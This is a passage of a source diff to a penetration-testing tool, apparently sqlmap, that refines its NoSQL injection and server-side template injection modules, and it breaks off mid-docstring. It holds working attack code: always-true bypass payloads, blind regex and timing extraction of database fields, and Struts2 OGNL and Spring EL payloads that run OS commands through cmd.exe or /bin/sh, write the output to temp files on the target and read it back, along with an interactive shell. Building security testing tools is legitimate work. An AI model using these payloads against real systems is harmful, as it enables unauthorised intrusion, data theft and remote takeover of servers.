lengthValue(n) and charValue(known, charClass) render the dialect payload; the oracle is the content ratio against - `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate)""" + `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate). - truth = truthFn or (lambda value: _ratio(fetchFn(value), template) > UPPER_RATIO_BOUND) + Return contract distinguishes THREE outcomes so a structural caller never confuses them: + - a recovered value (incl. "" for a genuine zero-length value); + - InconclusiveError raised when `strict` and the oracle aborts (a structural probe - a field NAME + or a next-row pin - must treat this as UNKNOWN, not end-of-data); + - None returned when NOT `strict` and the oracle aborts (a per-value abort: caller renders a marker). + """ - length, probe = 0, 1 - while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)): - length, probe = probe, probe * 2 + truth = truthFn or (lambda value: _contentBit(fetchFn, value, template, falseModel)) - low, high = length, min(probe, NOSQL_MAX_LENGTH + 1) - while low + 1 < high: - mid = (low + high) // 2 - if truth(lengthValue(mid)): - low = mid - else: - high = mid + try: + length, probe = 0, 1 + while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)): + length, probe = probe, probe * 2 + + low, high = length, min(probe, NOSQL_MAX_LENGTH + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth(lengthValue(mid)): + low = mid + else: + high = mid - if not low: - return None + if not low: + return "" # genuine zero-length value / end (NOT abort) - debugMsg = "retrieving the value (%d characters)" % low - logger.debug(debugMsg) + debugMsg = "retrieving the value (%d characters)" % low + logger.debug(debugMsg) - retVal = "" - for _ in xrange(low): - lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX - if not truth(charValue(retVal, _klass(lo, hi))): - retVal += '?' # character outside the printable-ASCII range - continue - while lo < hi: - mid = (lo + hi) // 2 - if truth(charValue(retVal, _klass(lo, mid))): - hi = mid - else: - lo = mid + 1 - retVal += chr(lo) + retVal = "" + for _ in xrange(low): + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + if not truth(charValue(retVal, _klass(lo, hi))): + retVal += '?' # character outside the printable-ASCII range + continue + while lo < hi: + mid = (lo + hi) // 2 + if truth(charValue(retVal, _klass(lo, mid))): + hi = mid + else: + lo = mid + 1 + retVal += chr(lo) + except InconclusiveError: + # a structural caller must SEE the abort (to mark the dump partial / abort), not read it as + # end-of-data; a per-value caller instead gets None and renders an inconclusive marker + logger.warning("NoSQL extraction aborted for a value (oracle inconclusive after retries)") + if strict: + raise + return None return retVal @@ -526,42 +987,64 @@ def _resolve(place, parameter, key): template = _detectMongo(place, parameter) if template: + falseModel = _reproduced(lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) # matches nothing return Vector(_fingerprintMongo(place, parameter), lambda value: _fetch(place, parameter, "$regex", value), lambda n: "^.{%d,}$" % n, lambda known, klass: "^%s%s" % (re.escape(known), klass), - template=template, bypass='{"$ne": null}') + template=template, bypass='{"$ne": null}', falseModel=falseModel) template = _detectES(place, parameter) if template: + falseModel = _reproduced(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) # literal sentinel matches nothing return Vector(_fingerprintLucene(place, parameter), lambda value: _fetchValue(place, parameter, value), lambda n: "/.{%d,}/" % n, lambda known, klass: "/%s%s.*/" % (_lucene(known), klass), - template=template, bypass='*') + template=template, bypass='*', falseModel=falseModel) template = _detectCypher(place, parameter) if template: constraint = _constraint(place, parameter) - # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out; tell - # them apart by the regexp/string primitive the back-end honors ('=~', 'REGEXP_CONTAINS', or - # PartiQL 'begins_with') - if not _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)): + # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out - which + # is ALSO identical to classic SQL string injection. Attribute a back-end ONLY on a positive, + # engine-specific primitive: Cypher '=~' regex or STARTS WITH, N1QL REGEXP_CONTAINS, PartiQL + # begins_with. If NONE confirms, this is a plain SQL string injection, not NoSQL -> return None + # (the old unconditional Neo4j fall-through turned every SQLi string parameter into a false Neo4j). + # NOTE the confirm pairs differ ONLY in the engine-specific clause ('=~' regex body, or the + # STARTS WITH prefix), with an IDENTICAL false tautology tail on both sides - so the + # divergence is attributable to the Cypher primitive alone, never to the shared '1'='x' + # tautology (which a SQL back-end would also flip). + cypher = _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)) \ + or _confirmBattery(place, parameter, + lambda p: "%s' OR %s OR '1'='2" % (NOSQL_SENTINEL, p), + lambda p: "%s' OR %s OR '1'='2" % (NOSQL_SENTINEL, p), _CYPHER_PREDICATES) + if not cypher: if _confirm(place, parameter, "%s' OR REGEXP_CONTAINS(%s, '.*') OR '1'='2" % (NOSQL_SENTINEL, field), "%s' OR REGEXP_CONTAINS(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, field, NOSQL_SENTINEL)): + # bind EVERY probe (length, char, key-index, value) to the sibling-identified record by + # AND-ing the `constraint` into the OR-clause: `... OR (u.id='7' AND REGEXP_CONTAINS(..)) + # OR ...`. Without this the key/value predicates could match DIFFERENT documents, so a + # `bound=True` label would be false (the reviewer's P0-6). When `constraint` is empty the + # clause is just the predicate and bound=False, honestly marking the dump representative. + # never-matching regexp body = the FALSE model (bound identically to the extraction) + cbFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL))) return Vector("Couchbase", lambda value: _fetchValue(place, parameter, value), - lambda n: "%s' OR REGEXP_CONTAINS(%s, '^.{%d,}') OR '1'='2" % (NOSQL_SENTINEL, field, n), - lambda known, klass: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, field, _quoted(_javaEscape(known) + klass)), + lambda n: "%s' OR (%sREGEXP_CONTAINS(%s, '^.{%d,}')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, n), + lambda known, klass: "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, _quoted(_javaEscape(known) + klass)), template=template, bypass="' OR '1'='1", dump=lambda: _enumDump(place, parameter, - lambda expr, rb: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, expr, rb), - lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n))) + lambda expr, rb: "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n)), + bound=bool(constraint), falseModel=cbFalse) if _confirm(place, parameter, "%s' OR begins_with(%s, '') OR '1'='2" % (NOSQL_SENTINEL, key), "%s' OR begins_with(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, key, NOSQL_SENTINEL)): return Vector("DynamoDB", None, None, None, template=template, bypass="' OR '1'='1", dump=lambda: _partiqlDump(place, parameter, key)) + return None # SQL-shared break-out with no Cypher/N1QL/PartiQL primitive -> not NoSQL + return Vector("Neo4j", None, None, None, template=template, bypass="' OR '1'='1", dump=lambda: _cypherDump(place, parameter) or _enumDump(place, parameter, lambda expr, rb: "%s' OR %s%s =~ '^%s.*" % (NOSQL_SENTINEL, constraint, expr, rb), @@ -572,17 +1055,23 @@ def _resolve(place, parameter, key): constraint = _constraint(place, parameter, "==", " && ") # ArangoDB AQL and MongoDB $where (server-side JavaScript) both satisfy the ' || '1'=='1 - # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test() - if not _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) \ - and _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL): - bound = _constraint(place, parameter, "==", "&&", prefix="this.") - whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key)) - return Vector("MongoDB ($where)", - lambda value: _fetchValue(place, parameter, value), - lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n), - lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key), - template=whereTemplate, bypass="' || '1'=='1") + # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test(). + # Attribute a back-end ONLY on a positive primitive; if NEITHER confirms, don't default to + # ArangoDB (that would be an unconfirmed attribution) - return None. + aqlRegex = _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) + if not aqlRegex: + if _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL): + bound = _constraint(place, parameter, "==", "&&", prefix="this.") + whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key)) + whereFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' || (%sthis.%s&&/%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, NOSQL_SENTINEL, key))) + return Vector("MongoDB ($where)", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n), + lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key), + template=whereTemplate, bypass="' || '1'=='1", falseModel=whereFalse) + return None + aqlFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL))) return Vector("ArangoDB", lambda value: _fetchValue(place, parameter, value), lambda n: "%s' || (%s%s =~ '^.{%d,}') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, n), @@ -590,7 +1079,8 @@ def _resolve(place, parameter, key): template=template, bypass="' || '1'=='1", dump=lambda: _enumDump(place, parameter, lambda expr, rb: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, expr, rb), - lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n))) + lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n)), + bound=bool(constraint), falseModel=aqlFalse) numeric = _detectNumeric(place, parameter) if numeric: @@ -606,8 +1096,11 @@ def _resolve(place, parameter, key): threshold = _detectWhere(place, parameter) if threshold is not None: bound = _constraint(place, parameter, "==", "&&", prefix="d.") + # with no sibling constraint the $where busy-loop matches whichever document(s) the scan + # reaches, so Object.keys(d)/String(d[k]) are not proven to come from ONE record -> representative return Vector("MongoDB ($where)", None, None, None, - dump=lambda: _whereDump(place, parameter, bound, threshold)) + dump=lambda: _whereDump(place, parameter, bound, threshold), + bound=bool(bound)) engine = _detectError(place, parameter) if engine: @@ -621,6 +1114,8 @@ def _inband(place, parameter, template): directly - else None""" original = _fetchValue(place, parameter, _originalValue(place, parameter) or "1") + if original is None: # a blocked/failed baseline is UNKNOWN - not a basis for comparison + return None if template and len(template) > len(original) and _ratio(template, original) < UPPER_RATIO_BOUND and not re.search(NOSQL_ERROR_REGEX, template): return template return None @@ -687,8 +1182,9 @@ def nosqlScan(): confirmed point it tries, in order, to (1) dump records exposed in-band by the always-true payload and (2) blindly recover the targeted field via the regexp/timing oracle""" - global NOSQL_SENTINEL + global NOSQL_SENTINEL, _sqlErrorSeen NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + _sqlErrorSeen = False # NoSQL injection from an application-scoped point is confined to the back-end's single query # (one collection/label) - it confirms and dumps what that query can reach, with no analog to the @@ -740,7 +1236,9 @@ def nosqlScan(): conf.dumper.singleString(report) if vector.bypass: - infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, vector.bypass) + # report the payload ACTUALLY tested (e.g. '[$ne]='), not an idealized form + # like '{"$ne": null}' that was never sent - `null` can behave differently server-side + infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, payload) logger.info(infoMsg) dumped = False @@ -751,10 +1249,23 @@ def nosqlScan(): logger.info(infoMsg) records = vector.dump() if records: - columns, rows = records - infoMsg = "dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '') - logger.info(infoMsg) - conf.dumper.singleString("NoSQL: %s parameter '%s' %s:\n%s" % (place, key, "documents" if len(rows) != 1 else "document", _grid(columns, rows))) + # dump implementations return (columns, rows, bound, complete): `bound` reflects the + # vector that ACTUALLY succeeded (a native record id pinned in every predicate); + # `complete` is False when enumeration aborted / hit a cap. Both statuses are shown + # in the FINAL dumper header, not merely logged, so a partial/representative result + # is never presented as a complete coherent document. + columns, rows, bound, complete = records + logger.info("dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '')) + status = [] + if not bound: + status.append("REPRESENTATIVE: record identity unproven") + logger.warning("no unique-record binding (no native record id / cardinality-one proof); fields below are REPRESENTATIVE and may not all belong to the same document") + if not complete: + status.append("PARTIAL: oracle inconclusive / cap reached") + logger.warning("the document dump is INCOMPLETE") + header = "documents" if len(rows) != 1 else "document" + tag = (" [%s]" % "; ".join(status)) if status else " [COMPLETE]" + conf.dumper.singleString("NoSQL: %s parameter '%s' %s%s:\n%s" % (place, key, header, tag, _grid(columns, rows))) dumped = True if not dumped and vector.template is not None: @@ -766,10 +1277,18 @@ def nosqlScan(): dumped = True if vector.lengthValue is not None: - value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth) - if value is not None: - conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value))) - dumped = True + # content extraction needs BOTH models: without a calibrated false model, classification + # would be one-sided (an unrelated usable page -> a fabricated false bit), so DISABLE + # extraction rather than risk corrupt data (the reviewer's invariant) + if vector.truth is None and vector.falseModel is None: + logger.warning("%s parameter '%s': content extraction disabled - could not calibrate a false model " + "(one-sided classification risks fabricated values)" % (place, key)) + else: + value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, + vector.truth, falseModel=vector.falseModel) + if value is not None: + conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value))) + dumped = True if not dumped: if vector.template is None and vector.truth is None and vector.dump is None: @@ -781,5 +1300,9 @@ def nosqlScan(): if not found: warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested logger.warning(warnMsg) + if _sqlErrorSeen: + warnMsg = "a NoSQL probe triggered a back-end DBMS (SQL) error, which strongly suggests the " + warnMsg += "target is a classic SQL injection - re-run without '--nosql' to test for it" + logger.warning(warnMsg) logger.info("NoSQL scan complete") diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index c62cb2af559..98b3fb8d464 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -23,6 +23,8 @@ from lib.core.settings import SSTI_ERROR_SIGNATURES from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import blockedStatus from thirdparty.six.moves.urllib.parse import quote as _quote @@ -211,8 +213,6 @@ def _degroup(text): ) -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): @@ -273,11 +273,15 @@ def _send(place, parameter, value): kwargs = {"raise404": False, "silent": True} if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) - page, _, _ = Request.getPage(**kwargs) + page, _, code = Request.getPage(**kwargs) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample - + # signal None so the detection routines (which reject None) can never decide on it + if blockedStatus(code): + return None return page or "" except Exception as ex: logger.debug("SSTI probe request failed: %s" % getUnicode(ex)) - return "" + return None finally: conf.parameters[place] = old_params @@ -461,22 +465,39 @@ def _detectBoolean(place, parameter, engine): """Establish a boolean oracle for this engine. Returns the true template or None.""" original = _originalValue(place, parameter) or "" + # arithmetic-only engines (e.g. Struts2 OGNL) carry no boolean payloads - nothing to do here + if not engine.booleanTrue or not engine.booleanFalse: + return None + truePayload = original + engine.booleanTrue falsePayload = original + engine.booleanFalse + truePage = _send(place, parameter, truePayload) + falsePage = _send(place, parameter, falsePayload) + if not truePage or not falsePage: + return None + + trueText, falseText = getUnicode(truePage), getUnicode(falsePage) + + # a raw payload surviving in the response means the template did NOT evaluate it + if truePayload in trueText or falsePayload in falseText: + return None + + # an engine ERROR page is not a valid boolean rendering: a syntactically invalid true/false pair + # that merely trips two DIFFERENT error messages would otherwise diverge and fake an oracle + if _isError(truePage, engine) or _isError(falsePage, engine): + return None + if engine.trueRendered: - truePage = _send(place, parameter, truePayload) - if not truePage: + # attribution guard: the true marker must be ABSENT from the untouched baseline (else it is + # page furniture, not our evaluated output), PRESENT in the true page, and ABSENT from the + # false page - so the divergence is provably OUR rendered boolean, not incidental page drift + baseline = getUnicode(_send(place, parameter, original) or "") + if engine.trueRendered in baseline: return None - text = getUnicode(truePage) - if truePayload in text or engine.trueRendered not in text: + if engine.trueRendered not in trueText or engine.trueRendered in falseText: return None - # Reject reflected false payload - falsePage = _send(place, parameter, falsePayload) - if falsePage and falsePayload in getUnicode(falsePage): - return None - return _boolean(lambda p=truePayload: _send(place, parameter, p), lambda p=falsePayload: _send(place, parameter, p)) @@ -561,7 +582,12 @@ def _fingerprint(place, parameter): if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS: break - if bestEngine and bestScore >= 3: + # CONFIRMED requires an EVALUATION proof - in-band arithmetic (randomized pair) or a template + # boolean oracle. Weak signals (error / distinguishing / family) are NOT summed into a + # confirmation: the old `score >= 3` let boolean+error, distinguishing+error, or even a lone + # generic parser error "confirm" SSTI with no proof the template actually evaluated our input + # (and then drive automatic RCE on an unproven finding). + if bestEngine and (bestEvidence.get("arithmetic") or bestEvidence.get("boolean")): # For engines with ambiguous delimiters (shared by multiple engines), # name a specific engine when: error fingerprint, distinguishing probe, # or boolean rendering is unique within the delimiter family. @@ -580,20 +606,20 @@ def _fingerprint(place, parameter): name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name)) return bestEngine, bestEvidence - # Fallback: generic error detection - errorBackend = None + # weak signals only (parser reachable, but NO evaluation proof) -> informational, NOT confirmed + if bestEngine and bestScore >= 1: + logger.info("%s parameter '%s' reaches a template parser (evidence: %s) but SSTI is NOT " + "confirmed - no arithmetic/boolean evaluation proof" % (place, parameter, ",".join(sorted(bestEvidence)) or "error")) + return None, None + + # generic parser-family error only -> informational, never a confirmed engine for suffix in ("{{", "${", "<%=", "#{"): page = _send(place, parameter, _originalValue(place, parameter) + suffix) - if page: - backend = _backendFromError(page) - if backend: - errorBackend = backend - break - - if errorBackend: - for engine in _ENGINE_TABLE: - if engine.name.lower() in errorBackend.lower(): - return engine, {"error": True} + backend = _backendFromError(page) if page else None + if backend: + logger.info("%s parameter '%s' triggers a %s template-parser error, but SSTI is NOT " + "confirmed (no evaluation proof)" % (place, parameter, backend)) + break return None, None @@ -605,8 +631,11 @@ def sstiScan(): logger.debug(debugMsg) # CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2 - # vector that needs no request parameter, so it is probed once up front. - if _probeStruts2Header(conf.url): + # vector that needs no request parameter, so it is probed once up front. Reporting it must NOT + # short-circuit the rest of the scan: request PARAMETERS can be independently SSTI-injectable and + # were previously never tested once this fired. + struts2 = _probeStruts2Header(conf.url) + if struts2: logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE) if conf.beep: beep() @@ -621,11 +650,12 @@ def sstiScan(): _dumpS2045(conf.url, conf.osCmd) if conf.get("osShell"): _osShell(lambda cmd: _dumpS2045(conf.url, cmd)) - logger.info("SSTI scan complete") - return if not conf.paramDict: - logger.error("no request parameters to test (use --data, GET params, or similar)") + if not struts2: + logger.error("no request parameters to test (use --data, GET params, or similar)") + else: + logger.info("SSTI scan complete") return tested = 0 @@ -649,7 +679,10 @@ def sstiScan(): if conf.beep: beep() - if engine.arithmeticFmt: + # report the payload that ACTUALLY proved the finding, not merely one the engine + # supports - showing the 7*7 arithmetic payload when only the boolean oracle fired + # misrepresents what was tested + if evidence.get("arithmetic") and engine.arithmeticFmt: payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7) else: payload = _originalValue(place, parameter) + engine.booleanTrue @@ -676,31 +709,44 @@ def sstiScan(): logger.info("back-end template engines: %s" % ", ".join(sorted(engines))) if found: - slot = found[0] - place, parameter, engine, evidence = slot - wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) - # If the user did not ask for exploitation, confirm (benignly) whether OS command - # execution is reachable and, if so, advise the relevant switches. - if not wantsTakeover and _canTakeover(engine, evidence) and _probeRce(place, parameter, engine): - logger.info("the back-end '%s' allows OS command execution via this injection; " - "you are advised to try '--os-shell' (interactive) or " - "'--os-cmd=' (single command)" % engine.name) + # Rank ALL confirmed vectors, not just found[0]: automatic exploitation must select the + # strongest VERIFIED takeover vector - the first confirmed slot may not support command + # execution while a later one does. Candidates are the exact-engine, proof-backed slots; the + # winner is the first whose reflection-proof RCE capability actually confirms. + candidates = [(pl, pr, en, ev) for (pl, pr, en, ev) in found if _canTakeover(en, ev)] + rceSlot = None + for pl, pr, en, ev in candidates: + if _probeRce(pl, pr, en): + rceSlot = (pl, pr, en, ev) + break + # `--ssti` is an auxiliary, self-contained switch, so once SSTI is confirmed we AUTOMATICALLY + # probe whether OS command execution is reachable and advise the takeover switches. Users of + # this niche switch generally don't know to try --os-shell/--os-cmd (actual execution still + # requires those switches). + if not wantsTakeover: + if rceSlot: + _, _, en, _ = rceSlot + logger.info("the back-end '%s' allows OS command execution via %s parameter '%s'; you " + "are advised to try '--os-shell' (interactive) or '--os-cmd=' " + "(single command)" % (en.name, rceSlot[0], rceSlot[1])) # --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags) - if conf.get("osCmd") or conf.get("osShell"): - if not _canTakeover(engine, evidence): - logger.error("takeover requires exact engine fingerprint (got '%s') and " - "confirmed proof (arithmetic or boolean oracle)" % engine.name) - else: - if conf.get("osCmd"): - _executeCommand(place, parameter, engine, conf.osCmd) + elif not candidates: + logger.error("takeover requires an exact engine fingerprint and confirmed proof " + "(arithmetic or boolean oracle); none of the confirmed vectors qualify") + else: + # prefer the capability-verified vector; fall back to the first takeover-capable candidate + # (the user explicitly asked, and _executeCommand carries its own capture fallbacks) + pl, pr, en, ev = rceSlot or candidates[0] + if conf.get("osCmd"): + _executeCommand(pl, pr, en, conf.osCmd) - # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which - # reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. - if conf.get("osShell"): - _osShell(lambda cmd: _executeCommand(place, parameter, engine, cmd)) + # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which reads + # commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. + if conf.get("osShell"): + _osShell(lambda cmd: _executeCommand(pl, pr, en, cmd)) logger.info("SSTI scan complete") @@ -738,6 +784,58 @@ def _canTakeover(engine, evidence): ), } +# Windows variants of the Java file-based channel: exec via cmd.exe (/bin/sh does not exist), read back +# the same way. Selected by _fileRceCapture when the Unix family did not confirm execution. +_FILE_RCE_WINDOWS = { + "Spring EL / Thymeleaf": ( + "${new ProcessBuilder(new String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'}).start()}", + "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", + ), + "Struts2 (OGNL)": ( + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe','/c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}", + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}", + ), +} + + +# --- OS/shell-family RCE command builders ----------------------------------- +# Reflection-proof primitives per family; `_probeRce`/`_executeCommand` try each family (Unix first) so +# takeover works on a Windows-hosted template engine without a separate OS-detection round-trip. +# challenge(a, b) -> a command whose STDOUT is the derived product a*b (never in the request) +# framed(cmd, sa, sb, ea, eb) -> a command printing , the markers built by +# RUNTIME concatenation so the completed marker never appears in the request +def _unixChallenge(a, b): + return "echo $((%d*%d))" % (a, b) + + +def _winChallenge(a, b): + # `set /a` evaluates integer arithmetic and prints the result; cmd /c so it runs even when the engine + # execs a binary directly (Runtime.exec) rather than through a shell + return "cmd /c set /a %d*%d" % (a, b) + + +def _unixFramed(cmd, sa, sb, ea, eb): + # printf concatenates its two %s (sa+sb / ea+eb) at runtime; the request carries them separated + return "printf %%s%%s %s %s; %s; printf %%s%%s %s %s" % (sa, sb, cmd, ea, eb) + + +def _winFramed(cmd, sa, sb, ea, eb): + # `echo|set /p=X` prints X with NO trailing newline; `&` sequences the commands, so stdout is the + # runtime concatenation - the joined markers are absent from the request + return 'cmd /c "echo|set /p=%s&echo|set /p=%s&%s&echo|set /p=%s&echo|set /p=%s"' % (sa, sb, cmd, ea, eb) + + +_SHELL_FAMILIES = ( + ("unix", _unixChallenge, _unixFramed), + ("windows", _winChallenge, _winFramed), +) + +# per-family temp file + cleanup for the Java file-based channel +_FILE_TEMP = { + "unix": (lambda name: "/tmp/%s" % name, _FILE_RCE, lambda f: "rm -f %s" % f), + "windows": (lambda name: "%%TEMP%%\\%s" % name, _FILE_RCE_WINDOWS, lambda f: "cmd /c del /q %s" % f), +} + def _commandOutput(page, baseline, original, payload, engine): """Extract genuine command output from a response via baseline diff, rejecting error pages and @@ -764,7 +862,10 @@ def _commandOutput(page, baseline, original, payload, engine): output = output.strip() # A template that ECHOED our payload directive instead of executing it is reflection, not output. - if output and output in payload: + # The test is whether the injected DIRECTIVE leaked into the response (payload fragment present in + # output), NOT whether the output happens to be a substring of the payload - the latter discarded + # legitimate results such as `echo hello` -> "hello" (naturally a substring of "...echo hello..."). + if output and payload and (payload in output or _ratio(output, payload) >= UPPER_RATIO_BOUND): return None # A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.." @@ -782,72 +883,167 @@ def _commandOutput(page, baseline, original, payload, engine): def _fileRceCapture(place, parameter, engine, original, cmd, extract): """Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload - (redirects the command's output to a random temp file), then poll-read that file. 'extract' is a - callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), - so the read is retried a few times. Returns whatever 'extract' yields, else None.""" - spec = _FILE_RCE.get(engine.name) - if not spec: - return None + (redirects the command's output to a random temp file), then poll-read that file. Tries the Unix + family (/tmp, /bin/sh) then the Windows family (%TEMP%, cmd.exe). 'extract' is a callback + (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), so the read + is retried a few times. Returns whatever 'extract' yields, else None.""" + for family, (tempPath, specs, cleanupCmd) in _FILE_TEMP.items(): + spec = specs.get(engine.name) + if not spec: + continue - execTemplate, readTemplate = spec - outFile = "/tmp/%s" % randomStr(length=12, lowercase=True) - execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile) - _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored + execTemplate, readTemplate = spec + outFile = tempPath(randomStr(length=12, lowercase=True)) + execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile) + _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored + + readPayload = readTemplate.replace("{OUTFILE}", outFile) + result = None + for _ in range(3): + page = _send(place, parameter, original + readPayload) + result = extract(readPayload, page) + if result is not None: + break + time.sleep(1) - readPayload = readTemplate.replace("{OUTFILE}", outFile) - for _ in range(3): - page = _send(place, parameter, original + readPayload) - result = extract(readPayload, page) + # best-effort cleanup: don't leave the random temp file behind on the target + try: + cleanup = execTemplate.replace("{CMD}", _escapeSingleQuoted(cleanupCmd(outFile))).replace("{OUTFILE}", outFile) + _send(place, parameter, original + cleanup) + except Exception: + pass if result is not None: return result - time.sleep(1) return None +def _derivedExecuted(page, baseline, expected): + """Reflection-proof proof-of-execution test using a DERIVED challenge. The probe runs `echo + $((A*B))`: only A and B appear in the request, never their product. A template/app that merely + REFLECTS the request - raw, URL-encoded, HTML-escaped, or otherwise transformed - therefore CANNOT + reproduce the product, because it is not present anywhere in the payload. So the product appearing + in the response, and being absent from the untouched baseline, is genuine command output. Returns + 